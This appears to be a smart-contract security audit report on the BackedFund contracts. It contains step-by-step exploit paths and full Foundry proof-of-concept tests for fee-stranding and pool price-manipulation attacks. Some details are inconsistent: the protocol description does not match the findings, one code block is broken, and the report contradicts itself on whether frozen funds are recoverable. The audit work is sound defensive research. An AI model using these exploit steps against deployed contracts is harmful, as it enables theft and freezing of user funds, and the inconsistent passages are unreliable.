

BackedFund

Security Audit Report

BackedFund — Security Audit Report

Introduction

33Labs performed a focused security review of the BackedFund smart-contract system. The review covered protocol architecture, asset flows, access control, accounting, oracle behavior, reward distribution, and operational safety controls.

Audit Team

This engagement was completed by the **33Labs Security Review Team**. Individual auditor attribution is intentionally omitted because no confirmed author list was supplied for this report.

Disclaimer

A smart contract security review cannot prove the complete absence of vulnerabilities. This assessment was bounded by the agreed scope, time, available documentation, and reviewed commits. Additional reviews, a public bug bounty, deployment verification, and continuous monitoring are recommended.

About 33Labs

33Labs is an independent smart contract security research and development group with six years of experience and over 40 completed audits. We specialize in building and auditing Solidity, Rust, Move, and DeFi systems. Learn more at 33labs.ai or follow us on X @33labs_.

About BackedFund

BackedFund is a multi-collateral borrowing protocol on PulseChain derived from Liquity. Users deposit native or ERC-20 collateral to mint the VSD stablecoin. The system adds independent collateral markets, VV token fee mechanics, MasterChef emissions, StabilityPool rewards, oracle adapters, and a protocol-owned BufferPool.

Audit Scope

- **Repository:** `BuildTheTech/BackedFund-Contracts`
- **Audited branch:** `main`
- **Audited commit:** `213a6dba2e2641804ed56555d4f6f763dbe95200`
- **In-scope code:** `contracts/**/*.sol`
- **Engagement window:** Not specified in the source issue ledger

Remediation Review

Remediation status was checked against `BuildTheTech/BackedFund-Contracts` commit `213a6dba2e2641804ed56555d4f6f763dbe95200`. The original findings repository remains separate from the client-facing audited scope.

Severity Definitions

Severity	Definition
Critical	Direct, highly likely catastrophic loss or protocol compromise.
High	Material loss, insolvency, privilege compromise, or core protocol failure.
Medium	Meaningful security or availability impact under realistic conditions.
Low	Limited-impact issue, hardening gap, or unlikely edge case.
Informational	Design, maintainability, or defense-in-depth observation.

Findings Summary

ID	Finding	Severity	Status
H-01	Anyone can push a project's support and LP fee accruals into ProjectFeeVault via claimFor, stranding them permanently	High	Fixed
H-02	Stale cached price at seedLiquidity lets a free pre-seed swap freeze or drain launch funds	High	Fixed
H-03	Anyone can fill V4's per-tick liquidity cap at the factory's boundary ticks for ~2e12 wei, permanently blocking seedLiquidity	High	Fixed
M-01	beforeSwap sizes the counter-asset fee on the requested amount, not the executed specified-side delta, overcharging trades that partial-fill against a price limit	Medium	Fixed
M-02	Forcing finalizeLaunch to revert lets anyone permanently burn a launch's tokens	Medium	Fixed
M-03	Buy-burn catch-up clock counts pre-deposit idle time, flushing entire balance in one swap	Medium	Fixed
M-04	Project-wide liquidity-support cooldown lets a dust call block the automatic drip for 24h	Medium	Fixed
M-05	Reward income on adapter-held bond units while totalBondUnits is zero makes every project bond mint revert, freezing pending treasury ETH	Medium	Fixed
M-06	Buy-burn tranche can grow past the executor's price-impact cap with no partial path, freezing the bucket (organically or via a fake-hook deposit)	Medium	Fixed
M-07	ProtocolAuthority keeps a replaced signer's confirmations valid and proposals never expire, so one live signer can finish stale proposals	Medium	Fixed
M-08	addDripLiquidity sizes tranches from the 30-minute TWAP but settles at live spot with no deviation check, so permissionless drips can be sandwiched	Medium	Fixed
M-09	A canceled or never-accepted Bernard redemption leaves the position in RedemptionPending with no recovery path, locking the project's principal	Medium	Fixed
L-01	Exact-input swap fee floors instead of ceiling, undercharging trader by up to 1 wei	Low	Fixed
L-02	uint64 truncation of the effective LP unlock time makes late finalization revert for far-future lock timestamps	Low	Fixed
L-03	cancelUnfinalizedLaunch ignores the LaunchManager pause, so a pause spanning endTime+7 days lets anyone fail a soft-cap-successful sale	Low	Fixed

ID	Finding	Severity	Status
L-04	Zero-liquidity pre-seed swaps poison the TWAP that addDripLiquidity later trusts	Low	Fixed
L-05	Automatic liquidity-support path hardcodes minLiquidity to zero, disabling slippage protection	Low	Fixed
L-06	collectTradingFees trusts caller-chosen hook and currency, breaking the single-fee-currency invariant	Low	Fixed
L-07	executeBuyBurn lets the triggering caller self-select minTokensOut=0, enabling a self-paid sandwich of the guaranteed buy-burn swap	Low	Fixed
L-08	claimAndRoute hands the creator the whole reinvest share once bond units reach zero, bypassing the 50% creator-yield cap	Low	Fixed
L-09	consult() ignores the latest cumulative checkpoint when it is not an observation, letting a price move that left the window still skew the TWAP	Low	Fixed
L-10	Launch policy accepts extreme-price configurations whose full-range seed can never use 99% of both budgets, so finalization always reverts	Low	Fixed
L-11	Permissionless claimAndRoute during redemption notice creates pendingReinvestmentETH that blocks requestPositionRedemption (full scope)	Low	Fixed
L-12	strengthenTreasuryProfile stays callable after the Bernard redemption is requested, so switching to Permanent strands the payout in the adapter	Low	Fixed
L-13	Public USDC liquidity-support swap accepts a 75 bps TWAP band that a sandwich can capture (mock-pool PoC, real-pool profitability unverified)	Low	Fixed
L-14	Treasury ETH is committed to PendingMint at finalization without rechecking Bernard, and has no refund path if minting stops working	Low	Fixed
L-15	Drip additions treat modifyLiquidity's callerDelta as principal, but it includes donation-created position fees, which can block tranches	Low	Fixed
L-16	V3 capacity guards stop at the next initialized tick, returning zero on an exact boundary (zeroForOne) and tiny capacity near one	Low	Fixed

High Findings

H-01 Anyone can push a project's support and LP fee accruals into ProjectFeeVault via claimFor, stranding them permanently

Source: GitHub issue #1
Severity: High

Description

Severity	High (reported: High)
Confidence	High
Location	`BackedFundFeeHook.sol:claimFor`
Sources	Ours + pasted (external) — duplicate: "`claimFor()` lets anyone send a project's accrued fees into its `ProjectFeeVault`"
Class	DeltaAccounting (V0)
Discovered via	freeform-adversarial
Phase 3 verdict	true_positive
PoC	[POC-PASS]

Description

What's wrong

The fee hook lets any address trigger a fee payout on behalf of any recipient. For most recipients that is harmless, but two of every launch's four fee recipients are the project's own fee vaults, and those vaults only ever count money that arrives during a controller-initiated collection. Tokens pushed to a vault any other way are never counted and there is no way to move them out, so a griefer can lock up the buy-and-burn and liquidity-support share of trading fees (55% of every fee) for free, forever.

How

`BackedFundFeeHook.claimFor(recipient, currency)` (`BackedFundFeeHook.sol:403-410`) has no caller restriction; `_claimFor` zeroes `_accrued[recipient][currency]` and `safeTransfer`s the balance to `recipient` (`:412-417`). For Standard/Bond launches `supportRecipient = buyBurnVault` and `lpRecipient = liquidityVault` (`LaunchManager._createWethPool`, `LaunchManager.sol:424-435`), both `ProjectFeeVault` instances.

`ProjectFeeVault.collect` (`ProjectFeeVault.sol:25-32`) is the vault's only outflow and measures `balanceOf(this)` **before and after** calling `hook.claim(currency)`: once `claimFor` has already zeroed the accrual, `claim` reverts with `Hook: nothing to claim` (`BackedFundFeeHook.sol:414`), and when new fees accrue later `collect` forwards only the new delta.

The pushed WETH never reaches `buyBurnBalance` / `liquidityBalance` (`ProjectSupportController.sol:289-296`, `:692-699`) and no sweep path exists. `ProjectSupportController._collectSupportFee` skips the vault whenever `claimable(vault, currency) == 0` (`:690`), so the automated routing silently stops funding both buckets.

Impact

- **Project token holders:** the buy-and-burn bucket (40% of the 1% trading fee) is never funded from trading fees → no fee-driven buybacks.
- **Liquidity support:** the liquidity bucket (15% of the fee) is frozen → no fee-driven liquidity additions.
- **Scale:** 0.55% of every WETH-side swap volume is locked, e.g. ~0.55 ETH per 100 ETH of volume, per launch, with no recovery path.
- **Attacker cost:** two external calls' gas per sweep, repeatable across every launch; no capital at risk.

Expected delta: 0 to attacker; 55% of all WETH trading fees per launch (0.55% of counter-asset volume) frozen in ProjectFeeVaults

Exploit path

1. A launch is finalized; swaps accrue WETH fees, crediting `_accrued[buyBurnVault][WETH]` (40% of each fee) and `_accrued[liquidityVault][WETH]` (15%) via `_distribute` (BackedFundFeeHook.sol:380-387).
2. Attacker calls `hook.claimFor(buyBurnVault, WETH)` and `hook.claimFor(liquidityVault, WETH)`; the hook zeroes both accruals and transfers the WETH into the two ProjectFeeVaults.
3. Any later `collectTradingFees(launchId, 0|1, hook, WETH)` reverts inside `hook.claim` (nothing to claim), and `executeBuyBurn`'s automated `_collectSupportFee` skips both vaults because `claimable == 0`.
4. When new fees accrue, `collect` forwards only the new delta; the WETH pushed in step 2 stays in the vault with no function able to move it.
5. Attacker repeats step 2 (e.g. once per block via a keeper bot) to freeze all future support/LP fee accruals for every launch.

Recommendation

Make `ProjectFeeVault.collect` forward its whole balance instead of the before/after delta, and tolerate an already-claimed accrual; alternatively restrict `BackedFundFeeHook.claimFor` so it cannot push to recipients that are contracts relying on pull accounting.

```
function collect(address hook, address currency) external returns (uint256 amount) {
    require(msg.sender == controller, "ProjectFeeVault: not controller");
    if (IBackedFundFeeHook(hook).claimable(address(this), currency) > 0) {
        IBackedFundFeeHook(hook).claim(currency);
    }
    amount = IERC20(currency).balanceOf(address(this));
    require(amount > 0, "ProjectFeeVault: zero collection");
    IERC20(currency).safeTransfer(controller, amount);
}
```

(The sibling exclusion finding on unvalidated `hook`/`currency` must be fixed alongside so a sweep cannot be credited under an arbitrary currency.)

Proof of concept

`forge test` passes. Foundry test `PoC_0274a.t.sol` (uses the repo's `MockV4PoolManager`, which is not price-forming; a Base-fork reproduction is still recommended):

PoC_0274a.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;

/* ============================================================================
 * captain-hook PHASE 4 VERIFICATION — finding 0274ae415a6f
 * ----------------------------------------------------------------------------
 * Claim under test: BackedFundFeeHook.claimFor is permissionless and pushes a
 * recipient's accrued fee balance directly into the recipient. For the two
 * ProjectFeeVault recipients (buyBurnVault / liquidityVault) this bypasses
 * ProjectSupportController's ONLY inflow accounting path
 * (ProjectFeeVault.collect, which measures a before/after balanceOf delta
 * around its own call into hook.claim). Once claimFor has already zeroed the
 * hook-side accrual, the vault's balance sits there uncounted and
 * uncollectable — collectTradingFees reverts ("Hook: nothing to claim") and
 * there is no sweep path on ProjectFeeVault, so the pushed WETH is stranded
 * permanently.
 *
 * Real stack used (per template C-011/C-028 + disproof DL-010):
 *   - real BackedFundFeeHook, CREATE2-mined to carry the required hook flags
 *     (HookDeployer + on-chain salt search, as in C-011/DL-010).
 *   - real ProjectSupportController + real ProjectFeeVault instances created
 *     by controller.registerProject (as in C-028) — no mock hook, no mock
 *     vault.
 *   - MockV4PoolManager.simulateSwap drives the hook's beforeSwap fee path
 *     (as in DL-010) to accrue real WETH fees to the real vaults.
 *
 * via_ir pitfall: this project builds with via_ir = true. An explicit `clock`
 * state variable is warped forward instead of repeatedly composing
 * `block.timestamp + dt` inline, per the run's guidance.
 * ============================================================================*/

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {
    IHooks,
    PoolKey,
    SwapParams,
    Currency
} from "../../contracts/interfaces/v4/IV4Types.sol";
import {HookFlags, LPFeeLib} from "../../contracts/interfaces/v4/V4Libraries.sol";
import {BackedFundFeeHook} from "../../contracts/liquidity/BackedFundFeeHook.sol";
import {HookDeployer} from "../../contracts/liquidity/HookDeployer.sol";
import {FeeSplit} from "../../contracts/interfaces/IBackedFundFeeHook.sol";
import {MockV4PoolManager} from "../../contracts/mocks/MockV4PoolManager.sol";
import {MockWETH} from "../../contracts/mocks/MockWETH.sol";
import {ProjectSupportController} from "../../contracts/treasury/ProjectSupportController.sol";
import {LaunchMode} from "../../contracts/types/LaunchTypes.sol";

contract PoC_0274a is Test {
    uint256 internal clock;

    MockV4PoolManager internal poolManager;
    BackedFundFeeHook internal hook;
    MockWETH internal token; // currency0 — launch-token stand-in
    MockWETH internal weth;  // currency1 — the immutable fee currency

    ProjectSupportController internal controller;
    address internal bbVault;  // real ProjectFeeVault — supportRecipient (bucket 0, buy-burn)
    address internal liqVault; // real ProjectFeeVault — lpRecipient (bucket 1, liquidity)

    address internal launchManagerAddr = makeAddr("launchManager");
    address internal authority = makeAddr("protocolAuthority");
    address internal guardian = makeAddr("guardian");
    address internal backedRecipient = makeAddr("backedRecipient");
    address internal creatorRecipient = makeAddr("creatorRecipient");
    address internal trader = makeAddr("trader");
    address internal attacker = makeAddr("attacker");

    PoolKey internal key;
    uint256 internal constant LAUNCH_ID = 1;
```

```
function setUp() public {
    clock = 1_700_000_000;
    vm.warp(clock);

    poolManager = new MockV4PoolManager();
    token = new MockWETH();
    weth = new MockWETH();

    HookDeployer deployer = new HookDeployer();
    hook = _deployMinedHook(deployer);

    key = PoolKey({
        currency0: Currency.wrap(address(token)),
        currency1: Currency.wrap(address(weth)),
        fee: LPFeeLib.DYNAMIC_FEE_FLAG,
        tickSpacing: 60,
        hooks: IHooks(address(hook))
    });

    // afterInitialize: sender must equal poolFactory (== address(this) here,
    // matching DL-010's wiring where the test contract is the mined hook's
    // configured poolFactory).
    poolManager.initialize(key, uint160(1) << 96);

    // Real ProjectSupportController + real ProjectFeeVault instances.
    controller = new ProjectSupportController(launchManagerAddr, authority, guardian);
    vm.prank(launchManagerAddr);
    (bbVault, liqVault) = controller.registerProject(
        LAUNCH_ID, makeAddr("projectToken"), makeAddr("creator"), LaunchMode.Standard
    );
    assertTrue(bbVault != address(0) && liqVault != address(0), "vaults not deployed");

    // Wire the hook's per-pool fee split: support -> real buy-burn vault,
    // lp -> real liquidity vault (exactly LaunchManager._createWethPool's
    // wiring for Standard/Bond launches).
    FeeSplit memory split = FeeSplit({
        backedPips: 2_000,
        creatorPips: 2_500,
        supportPips: 4_000,
        lpPips: 1_500,
        configured: false
    });
    hook.onPoolCreated(key, address(weth), abi.encode(split, creatorRecipient, bbVault, liqVault));

    // Fund the mock manager so hook.beforeSwap's poolManager.take() has
    // real WETH to transfer (take() does a real safeTransfer regardless
    // of tracked currency deltas), matching DL-010.
    weth.mint(address(poolManager), 1_000_000_000e18);
}

// ═══════════════════════════════════════════════════════════════════
// test_exploit_2 — control crediting, then attacker-griefed stranding
// ═══════════════════════════════════════════════════════════════════
function test_exploit_2() public {
    // ── Phase 1: CONTROL — no attacker. Fees accrue and the controller's
    //    normal collectTradingFees path credits both buckets correctly. ──
    _buy(10 ether);

    uint256 bbClaimable1 = hook.claimable(bbVault, address(weth));
    uint256 liqClaimable1 = hook.claimable(liqVault, address(weth));
    assertGt(bbClaimable1, 0, "control: no buy-burn accrual");
    assertGt(liqClaimable1, 0, "control: no liquidity accrual");

    vm.prank(trader);
    uint256 bbCollected1 = controller.collectTradingFees(LAUNCH_ID, 0, address(hook), address(weth));
    vm.prank(trader);
    uint256 liqCollected1 = controller.collectTradingFees(LAUNCH_ID, 1, address(hook), address(weth));

    assertEq(bbCollected1, bbClaimable1, "control: buy-burn collect amount mismatch");
    assertEq(liqCollected1, liqClaimable1, "control: liquidity collect amount mismatch");
```

```
        assertEq(
            controller.buyBurnBalance(LAUNCH_ID, address(weth)), bbCollected1,
            "control: buyBurnBalance not credited"
        );
        assertEq(
            controller.liquidityBalance(LAUNCH_ID, address(weth)), liqCollected1,
            "control: liquidityBalance not credited"
        );
        // Honest collection sweeps the vault to zero (delta == whole balance
        // when the vault started at zero) — this is the healthy baseline.
        assertEq(weth.balanceOf(bbVault), 0, "control: buy-burn vault should be empty after collect");
        assertEq(weth.balanceOf(liqVault), 0, "control: liquidity vault should be empty after collect");

        // ── Phase 2: ATTACK — new fees accrue, then an attacker with no
        //    privileged role pushes both vaults' accruals directly via
        //    claimFor, bypassing controller.collectTradingFees entirely. ──
        _buy(20 ether);

        uint256 bbClaimable2 = hook.claimable(bbVault, address(weth));
        uint256 liqClaimable2 = hook.claimable(liqVault, address(weth));
        assertGt(bbClaimable2, 0, "attack: no fresh buy-burn accrual to strand");
        assertGt(liqClaimable2, 0, "attack: no fresh liquidity accrual to strand");

        vm.prank(attacker);
        hook.claimFor(bbVault, address(weth));
        vm.prank(attacker);
        hook.claimFor(liqVault, address(weth));

        // The WETH landed in the vaults ...
        assertEq(weth.balanceOf(bbVault), bbClaimable2, "attack: WETH not pushed into buy-burn vault");
        assertEq(weth.balanceOf(liqVault), liqClaimable2, "attack: WETH not pushed into liquidity vault");
        // ... but the hook's own accrual ledger is now zero, so
        // ProjectFeeVault.collect's before/after-balance delta around
        // hook.claim() will see nothing new to forward.
        assertEq(hook.claimable(bbVault, address(weth)), 0, "attack: hook accrual should be zeroed by claimFor");
        assertEq(hook.claimable(liqVault, address(weth)), 0, "attack: hook accrual should be zeroed by claimFor");

        // collectTradingFees now reverts: ProjectFeeVault.collect calls
        // hook.claim(currency), and claim -> _claimFor requires amount > 0.
        vm.prank(trader);
        vm.expectRevert(bytes("Hook: nothing to claim"));
        controller.collectTradingFees(LAUNCH_ID, 0, address(hook), address(weth));

        vm.prank(trader);
        vm.expectRevert(bytes("Hook: nothing to claim"));
        controller.collectTradingFees(LAUNCH_ID, 1, address(hook), address(weth));

        // Buckets are completely unchanged by the failed collection attempts
        // — the pushed fee share (55% of the 1% trading fee: 40% buy-burn +
        // 15% LP) never reaches buyBurnBalance / liquidityBalance.
        assertEq(
            controller.buyBurnBalance(LAUNCH_ID, address(weth)), bbCollected1,
            "attack: buyBurnBalance moved despite failed collect"
        );
        assertEq(
            controller.liquidityBalance(LAUNCH_ID, address(weth)), liqCollected1,
            "attack: liquidityBalance moved despite failed collect"
        );

        // The pushed WETH just sits in the vault with a positive balance and
        // no function anywhere in ProjectFeeVault or ProjectSupportController
        // that can move it — this is the "no sweep" half of the finding.
        assertGt(weth.balanceOf(bbVault), 0, "attack: stranded WETH missing from buy-burn vault");
        assertGt(weth.balanceOf(liqVault), 0, "attack: stranded WETH missing from liquidity vault");

        // ── Phase 3: even after MORE fees legitimately accrue and get
        //    collected, collect only ever forwards the NEW delta — the
        //    phase-2 stranded balance is never swept, proving permanence. ──
        _advance(1 days);
        _buy(5 ether);
```

```
        uint256 bbClaimable3 = hook.claimable(bbVault, address(weth));
        assertGt(bbClaimable3, 0, "phase3: no fresh accrual to test delta-only forwarding");

        vm.prank(trader);
        uint256 bbCollected3 = controller.collectTradingFees(LAUNCH_ID, 0, address(hook), address(weth));

        assertEq(bbCollected3, bbClaimable3, "phase3: collect forwarded more than the fresh delta");
        assertEq(
            controller.buyBurnBalance(LAUNCH_ID, address(weth)), bbCollected1 + bbCollected3,
            "phase3: buyBurnBalance should equal only the two legitimately-collected batches"
        );
        // The phase-2 stranded amount is STILL sitting in the vault, untouched
        // by this successful collect of the phase-3 delta.
        assertEq(
            weth.balanceOf(bbVault), bbClaimable2,
            "phase3: phase-2 stranded WETH did not remain stuck in the vault"
        );
    }

    // ═══════════════════════════════════════════════════════════════════
    // helpers
    // ═══════════════════════════════════════════════════════════════════

    /// zeroForOne = false: trader gives currency1 (WETH, the fee currency) and
    /// receives currency0 — beforeSwap's exact-input fee-accrual branch fires
    /// (input is the specified AND fee currency), per DL-010.
    function _buy(uint256 amountIn) internal {
        SwapParams memory params = SwapParams({
            zeroForOne: false,
            amountSpecified: -int256(amountIn),
            sqrtPriceLimitX96: 0
        });
        poolManager.simulateSwap(address(hook), key, params, "");
    }

    function _advance(uint256 dt) internal {
        clock += dt;
        vm.warp(clock);
    }

    /// On-chain equivalent of scripts/lib/hook-miner.ts: find a CREATE2 salt
    /// whose address' low 14 bits equal the BackedFundFeeHook permission flags.
    function _deployMinedHook(HookDeployer deployer) internal returns (BackedFundFeeHook) {
        uint160 flags = HookFlags.AFTER_INITIALIZE_FLAG | HookFlags.BEFORE_SWAP_FLAG
            | HookFlags.BEFORE_SWAP_RETURNS_DELTA_FLAG | HookFlags.AFTER_SWAP_FLAG
            | HookFlags.AFTER_SWAP_RETURNS_DELTA_FLAG;
        bytes memory initCode = abi.encodePacked(
            type(BackedFundFeeHook).creationCode,
            // poolManager, poolFactory (== this test contract), backedRecipient, protocolAuthority, emergencyGuardian
            abi.encode(address(poolManager), address(this), backedRecipient, authority, guardian)
        );
        bytes32 initCodeHash = keccak256(initCode);
        bytes32 salt;
        bool found;
        for (uint256 i = 0; i < 500_000; i++) {
            address predicted = address(uint160(uint256(keccak256(
                abi.encodePacked(bytes1(0xff), address(deployer), bytes32(i), initCodeHash)
            ))));
            if (uint160(predicted) & HookFlags.ALL_HOOK_MASK == flags) {
                salt = bytes32(i);
                found = true;
                break;
            }
        }
        require(found, "PoC_0274a: hook salt not found");
        return BackedFundFeeHook(deployer.deploy(initCode, salt, flags));
    }
}
```

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 1: Anyone can push a project's support and LP fee accruals into ProjectFeeVault via claimFor, stranding them permanently. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

H-02 Stale cached price at seedLiquidity lets a free pre-seed swap freeze or drain launch funds

Source: GitHub issue #2
Severity: High

Description

Severity	High (reported: Critical)
Confidence	High
Location	`LaunchPoolFactory.sol:_seedLiquidity`
Sources	Ours + pasted (external) — duplicate: "pre-seed swap moves the empty pool price, `seedLiquidity` reverts with *liquidity used too much*"
Class	MEVEconomic (V0)
Discovered via	skill-feynman-novel / mev-economic
Phase 3 verdict	severity_mismatch → High
PoC	[POC-PASS]

Description

What's wrong

A launch's Uniswap V4 pool is created and made publicly swappable weeks before it ever receives real liquidity. Because nothing stops outside swaps during that gap, anyone can move the pool's price to an extreme for almost no cost while it is empty. When the protocol finally deposits the launch's real liquidity, it still prices that deposit off the price it recorded back when the pool was created — not the price the pool actually has now — so the deposit either reverts forever (freezing the entire raised amount) or goes in badly mispriced, letting the same attacker trade against it for a profit.

How

`LaunchPoolFactory._createHookedPool` (`LaunchPoolFactory.sol:277`) calls `poolManager.initialize(key, sqrtPriceX96)` at launch-creation time and caches that `sqrtPriceX96` in `_launchPools[launchId]`. `BackedFundFeeHook`'s CREATE2-mined flags (`BackedFundFeeHook.sol:3476-3481`) enable only `AFTER_INITIALIZE_FLAG | BEFORE_SWAP_FLAG | AFTER_SWAP_FLAG` — no `BEFORE_ADD_LIQUIDITY_FLAG` / `AFTER_ADD_LIQUIDITY_FLAG`, so `poolManager.modifyLiquidity` and `poolManager.swap` are directly callable by anyone against this pool, bypassing the factory and the hook's `whenNotPaused`/config gates entirely. With `liquidity == 0` (the factory has not yet called `seedLiquidity`), a swap's `computeSwapStep` in core PoolManager consumes ~0 input to slide `slot0.sqrtPriceX96` all the way to a tick-range boundary — moving price is free when there is nothing to trade against. Much later, `LaunchPoolFactory.seedLiquidity` (`LaunchPoolFactory.sol:328`) and `seedLiquidityWithCounter` (`:400`) pass the ORIGINAL cached `launchPool.sqrtPriceX96` into `_seedLiquidity` (`:565`), which calls `LiquidityAmountsLib.getLiquidityForAmounts(seed.sqrtPriceX96, sqrtLower, sqrtUpper, seed.amount0, seed.amount1)` to size the full-range position — but the subsequent `poolManager.modifyLiquidity` call settles against the pool's LIVE price, not the stale reference. The mismatch either trips `require(used0 <= seed.amount0 && used1 <= seed.amount1, "Factory: liquidity used too much")` in `_seedLiquidity` or the 99%-dust check `require(used0 >= Math.mulDiv(amount0, 99, 100) && used1 >= Math.mulDiv(amount1, 99, 100), "Factory: excessive LP dust")` back in `seedLiquidity`, and `seedLiquidity` is a one-shot call guarded by `require(!launchPool.seeded, ...)` with no alternate recovery path.

Impact

- **Depositors/contributors** → if `seedLiquidity` reverts on every retry, the launch can never reach `Finalized successful`; 100% of the launch's raised ETH is permanently unrecoverable through any documented lifecycle path (README.md §6 lists only Finalized/Canceled/refund paths, none of which apply once `seeded` cannot be set).
- **Project creator/protocol** → in the non-reverting extraction path, the attacker's round-trip captures the difference between the stale and live price against the full seed deposit (`tokenAmountAtHardCap` + `wethAmountAtHardCap`), which can represent the launch's entire liquidity commitment (51%-100% of raise per §7 Standard-launch bounds).
- Attacker cost is near-zero: no flash loan required (liquidity is 0, so price moves for ~0 input), only gas + 1 wei of WETH, reachable by any address with no privileged role.
- **LPs / contributors**: the locked, 12-month-to-permanent LP position seeds at a manipulated ratio instead of the hard-cap-derived fair price → the attacker's post-seed arbitrage extracts value directly from the pool's newly-minted liquidity, which is the contributors' own capital (`lpETH`, up to 100% of `netRaise` for Standard-mode launches with `lpSplitBps = 10000`).
- **Protocol**: every Standard/Bond-mode launch is exposed for its entire sale duration (≥1 day per `TEST_LAUNCH_START_DELAY`, often much longer) → the pattern is repeatable across every single launch, at near-zero attacker cost (a dust-amount swap against zero liquidity).
- **Settlement availability**: an attacker who overshoots the ~1% tolerance instead forces `seedLiquidity` to revert ("Factory: excessive LP dust" / "liquidity used too much"), stalling finalization and leaving already-contributed ETH sitting in `LaunchManager` until a retry succeeds.
- **Any launch's finalization** → any address can brick `LaunchPoolFactory.seedLiquidity` for the cost of a 1-wei swap, blocking 100% of currently-enabled launch modes (Standard, BondTreasury) from completing until the unfinalized-cancellation fallback lets contributors reclaim ETH.
- **Contributors and the creator** → a manipulation tuned to stay inside the code's ±1% tolerance seeds the launch's real liquidity — 51%-100% of the post-fee raise under the Standard-mode `lpSplitBps` bound — into a full-range position priced away from the intended hard-cap ratio, handing the mispricing to whoever trades first against it.
- Scope note: the attack window is the gap between `createLaunch` and `finalizeLaunch` — at minimum the `TEST_LAUNCH_START_DELAY` (1 day), typically the full sale duration — and costs the attacker ~1 wei plus gas.

Expected delta: Freeze variant: 100% of the launch's raised ETH + full token allocation permanently locked in LaunchManager/LaunchPoolFactory with no recovery path. Extraction variant: attacker profit bounded by the LVR gap between the cached reference price and the live manipulated price, funded out of the seeded LP capital

Exploit path

1. LaunchManager calls `createHookedPool` / `createHookedPoolWithCounter` at `createLaunch` time, which calls `poolManager.initialize(key, sqrtPriceX96)` — the pool now exists on-chain with `liquidity == 0` and BackedFundFeeHook attached (`LaunchPoolFactory.sol:367` , `BackedFundFeeHook.sol:3582`). 2. Any address wraps a trivial amount of ETH into WETH and calls `poolManager.swap(key, ...)` directly (bypassing LaunchPoolFactory and the hook's config gates — swap is permissionless core-PoolManager functionality). With zero liquidity in range, the swap step consumes ~0 tokens while sliding `slot0.sqrtPriceX96` to an extreme boundary. 3. Days or weeks later, the sale ends and `finalizeLaunch` calls `LaunchPoolFactory.seedLiquidity` (or `seedLiquidityWithCounter`), which still uses the launch-creation-time cached `sqrtPriceX96` to size the deposit via `getLiquidityForAmounts` . 4. `poolManager.modifyLiquidity` inside `_seedLiquidity` settles against the manipulated LIVE price, producing `used0` / `used1` that diverge from the stale-price-derived budget. 5a. If the divergence trips the `used0/used1 <= amount` guard, `seedLiquidity` reverts every time it is retried (the live price never self-corrects with zero real liquidity) — the launch's entire raised ETH and token allocation is permanently stuck, since `seedLiquidity` is one-shot and has no fallback path. 5b. If the divergence is smaller (attacker tunes the manipulation to stay inside the 99% dust tolerance), the deposit still lands mispriced, and the attacker immediately swaps back through the freshly seeded, zero-LP-fee position to arbitrage the mispricing at the creator's/ protocol's expense.

Recommendation

Read the pool's live price inside `_seedLiquidity` instead of trusting the caller-supplied `seed.sqrtPriceX96` , and size/ validate the deposit against it (or explicitly detect and reject divergence from the launch-creation-time reference before calling `modifyLiquidity`). Alternatively, make pool initialization (currently performed in `LaunchPoolFactory._createHookedPool`) and liquidity seeding atomic (same transaction) so no unseeded, freely-swappable window ever exists.

```
function _seedLiquidity(PendingLiquidityAction memory seed) private returns (bytes memory) {
    // Read the pool's ACTUAL current price instead of trusting seed.sqrtPriceX96.
    (uint160 liveSqrtPriceX96,,,) = poolManager.getSlot0(seed.key.toId());
    uint160 sqrtLower = TickMathLib.getSqrtRatioAtTick(minUsableTick);
    uint160 sqrtUpper = TickMathLib.getSqrtRatioAtTick(maxUsableTick);
    uint128 liquidity = LiquidityAmountsLib.getLiquidityForAmounts(
        liveSqrtPriceX96, sqrtLower, sqrtUpper, seed.amount0, seed.amount1
    );
    // ... existing checks, now consistent with the price modifyLiquidity will settle at
}
```

Alternative remediations (same fix surface, from merged duplicate reports): Close the zero-liquidity window instead of tolerating it: mint the launch's initial LP position in the same transaction as `poolManager.initialize` inside `_createHookedPool` (using a small bootstrap ETH/token amount escrowed for exactly this purpose), so the pool never trades with `liquidity == 0` . If atomic seeding is not feasible, re-derive the expected price from the pool's live `slot0` inside `seedLiquidity` / `_seedLiquidity` and revert when it has drifted beyond a tight bound from the value recorded at creation:

```
// LaunchPoolFactory.sol — seedLiquidity(), before calling poolM | Defer `poolManager.initialize` out of `_createHookedPool`/
launch creation and fold it into the same `unlock` callback `_seedLiquidity` runs at finalization, initializing at the price
derived from the real committed amounts at that moment, so the pool never exists in a publicly swappable, zero-liquidity state.
If early initialization cannot be removed, re-derive the pool's live price via the hook's `extsload`/`StateLibrary.getSlot0`
pattern immediately before sizing liquidity and revert unless it still matches `launchPool.sqrtPriceX96` within a tolerance
sized for tick-quantization only.

```so
```
```

Proof of concept

`forge test` passes. Foundry test `PoC_5ae35.t.sol` (uses the repo's `MockV4PoolManager`, which is not price-forming; a Base-fork reproduction is still recommended):

<details><summary>PoC_5ae35.t.sol</summary>

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;

/* ============================================================================
 * captain-hook Phase 4 PoC — finding 5ae35da40485
 * "Stale cached price at seedLiquidity lets a free pre-seed swap freeze or
 *  drain launch funds" (LaunchPoolFactory._seedLiquidity)
 * Phase 3 verdict: severity_mismatch -> High (DoS of core finalization path;
 *  freeze branch is NOT permanent -- cancelUnfinalizedLaunch + claimRefund
 *  recover 100% of contributed ETH after the 7-day grace period).
 *
 * This test proves, on the same deployment stack as the C-011 novelty
 * harness (test/novelty/C-011_Novelty.t.sol):
 *
 *   (1) an untrusted address can call PoolManager.swap() directly against the
 *       launch's pool while it is still unseeded (liquidity == 0) -- no
 *       factory or hook-side check on the pool's `seeded` state blocks it.
 *   (2) finalizeLaunch() then reverts deterministically because the deposit
 *       sized off the stale launch-creation-time cached sqrtPriceX96 diverges
 *       from what the live pool state actually consumes.
